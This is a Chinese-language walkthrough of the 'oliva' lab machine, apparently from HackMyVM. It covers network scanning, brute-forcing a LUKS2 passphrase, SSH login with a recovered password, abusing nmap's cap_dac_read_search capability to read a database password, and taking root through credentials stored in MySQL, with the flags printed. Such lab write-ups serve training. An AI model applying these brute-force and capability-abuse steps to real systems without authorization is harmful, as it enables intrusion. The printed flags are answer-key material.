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oliva	easy	LUKS v2破解、bruteforce-luks工具使用、cryptsetup使用、cap_dac_read_search=eip、mysql使用

主机发现

┌──(kali㉿kali)-[~/桌面/OSCP]
└─$ sudo netdiscover -i eth0 -r 192.168.44.148/24

服务扫描

┌──(kali㉿kali)-[~/桌面/OSCP]
└─$ sudo nmap -sV -A -T 4 -p- 192.168.44.148 

22，80
访问hhtp首页，点击click
自动下载出oliva文件

LUKS v2 加密文件

file 查看是一份LUKS v2 加密文件

┌──(kali㉿kali)-[~/下载]
└─$ file oliva
oliva: LUKS encrypted file, ver 2, header size 16384, ID 3, algo sha256, salt 0x14fa423af24634e8..., UUID: 9a391896-2dd5-4f2c-84cf-1ba6e4e0577e, crc 0x6118d2d9b595355f..., at 0x1000 {"keyslots":{"0":{"type":"luks2","key_size":64,"af":{"type":"luks1","stripes":4000,"hash":"sha256"},"area":{"type":"raw","offse

┌──(kali㉿kali)-[~/下载]
└─$ sudo apt install bruteforce-luks一直爆破到第970多个
Password found: bebita

爆破获取加密口令后，我们使用cryptsetup打开该文

┌──(kali㉿kali)-[~/下载]
└─$ sudo cryptsetup luksOpen oliva olia_img
输入 oliva 的口令： bebita

打开后文件是在这个路径下创建的 /dev/mapper/olive_img，然后我们可以mount 命令挂载该文件。

mount  /dev/mapper/olive_img /mnt

或者使用文件管理器打开文件

cryptsetup open --type luks oliva oliva

进去里面可以看到一份密码

┌──(kali㉿kali)-[/media/kali/7839beec-705e-45c5-a982-3096ac116f6e]
└─$ cat mypass.txt 
Yesthatsmypass!

尝试用户名密码

┌──(kali㉿kali)-[~/桌面/OSCP]
└─$ ssh oliva@192.168.44.148  
//用户：oliva
//密码：Yesthatsmypass!oliva@oliva:~$ cat user.txt 
HMVY0H8NgGJqbFzbgo0VMRm

提权

getcap 命令是在 Linux 系统中用于查看文件的特殊权限（capabilities）的工具。

oliva@oliva:~$ /usr/sbin/getcap -r / 2>/dev/null
/usr/bin/nmap cap_dac_read_search=eip
/usr/bin/ping cap_net_raw=ep

使用linpeas.sh 提权脚本，也能发现
“cap_dac_read_search=eip”是指Linux操作系统中与文件访问权限相关的概念。“cap_dac”代表“任意访问能力”，指的是基于文件所有者、组和其他用户的权限。下面我们尝试使用nmap 打开如下的文件,获取mysql的账号密码，提示说是root的账号密码，尝试登录并不是。

nmap localhost -iL index.php
nmap -iL index.php-iL 批量扫描1.txt中的目标地址

猜测数据库密码是 Savingmypass

oliva@oliva:/var/www/html$ nmap localhost -iL index.php
Starting Nmap 7.93 ( https://nmap.org ) at 2024-04-22 14:46 CEST
Failed to resolve "Hi".
Failed to resolve "oliva,".
Failed to resolve "Here".
Failed to resolve "the".
Failed to resolve "pass".
Failed to resolve "to".
Failed to resolve "obtain".
Failed to resolve "root:".
Failed to resolve "<?php".
Failed to resolve "$dbname".
Failed to resolve "=".
Failed to resolve "'easy';".
Failed to resolve "$dbuser".
Failed to resolve "=".
Failed to resolve "'root';".
Failed to resolve "$dbpass".
Failed to resolve "=".
Failed to resolve "'Savingmypass';".
Failed to resolve "$dbhost".
Failed to resolve "=".
Failed to resolve "'localhost';".
Failed to resolve "?>".
Failed to resolve "<a".
Unable to split netmask from target expression: "href="oliva">CLICK!</a>"
WARNING: No targets were specified, so 0 hosts scanned.
Nmap done: 0 IP addresses (0 hosts up) scanned in 29.96 seconds

登录数据库

oliva@oliva:/var/www/html$ mysql -u root -pSavingmypass
Enter password:             
Welcome to the MariaDB monitor.  Commands end with ; or \g.                                        
Your MariaDB connection id is 5                                                                                                                                                                
Server version: 10.11.3-MariaDB-1 Debian 12                                                         
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.                                
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.          
MariaDB [(none)]> show databases;                                                                  
+--------------------+                                                                                
| Database           |                                                                                
+--------------------+                                                                                
| easy               |                                                                               
| information_schema |                                                                                
| mysql              |                                                                               
| performance_schema |                                                                            
| sys                |                                                                                                                                                          
+--------------------+                                                       
5 rows in set (0,005 sec)                                                                           
MariaDB [(none)]> use easy
Reading table information for completion of table and column names                                
You can turn off this feature to get a quicker startup with -A                                 
Database changed                                                                                                                                                                               
MariaDB [easy]> show tables;                                                                                                                                                                   
+----------------+                                                                                                                                                                             
| Tables_in_easy |                                                                                                                                                                             
+----------------+
| logging        |
+----------------+
1 row in set (0,000 sec)MariaDB [easy]> select * from logging-> ;
+--------+------+--------------+
| id_log | uzer | pazz         |
+--------+------+--------------+
|      1 | root | OhItwasEasy! |
+--------+------+--------------+
1 row in set (0,003 sec)MariaDB [easy]> 

oliva@oliva:/var/www/html$ su root
Contraseña: //OhItwasEasy!root@oliva:~# cat rutflag.txt 
HMVnuTkm4MwFQNPmMJHRyW7